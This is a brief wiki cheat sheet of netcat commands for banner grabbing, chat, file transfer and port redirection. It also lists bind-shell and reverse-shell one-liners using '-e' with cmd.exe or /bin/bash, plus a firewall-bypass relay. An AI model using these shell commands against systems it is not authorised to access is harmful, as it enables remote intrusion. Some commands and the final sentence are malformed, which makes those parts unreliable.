NetCat uses

From TomSchaefer.org Wiki

Contents 1 Banner Grab 2 Chat 3 File Transfer 4 Remote connection, controling CMD.exe 5 Protect open ports 6 Port redirection

Banner Grab

Read Head for Identification

 nc -vv <ip> <port>

Write data to Server

 nc -vv <ip> <port>
 HEAD / HTTP/1.0
 <enter>
 

Chat

Server:

 nc -v -lp <port>

Client:

 nc -v <server> <port>

File Transfer

Server:

 nc -vn -lp <port> > <file>

Client:

 nc -vn <ip> <port> < <file>

Remote connection, controling CMD.exe

Server:

 nc -lvp <port> -e <command.exe> 

Client:

 nc -vn <ip> <port>

or Send a Shell Server:

 nc -lvp <port>

client:

 nc -vn <ip> <port> -e <command>

Use /bin/bash or cmd.exe for Command.

Protect open ports

Example: protect XServer

 While true;do
 nc -v -l -s -p 6000 localhost 2
 done

When something attempts to connect on the port it will accept then close

Port redirection

 nc -lv -p 80 | nc <target> <port> | nc -b -l -p 80

You though 80 > firewall > server > target Server > your server > firewall > you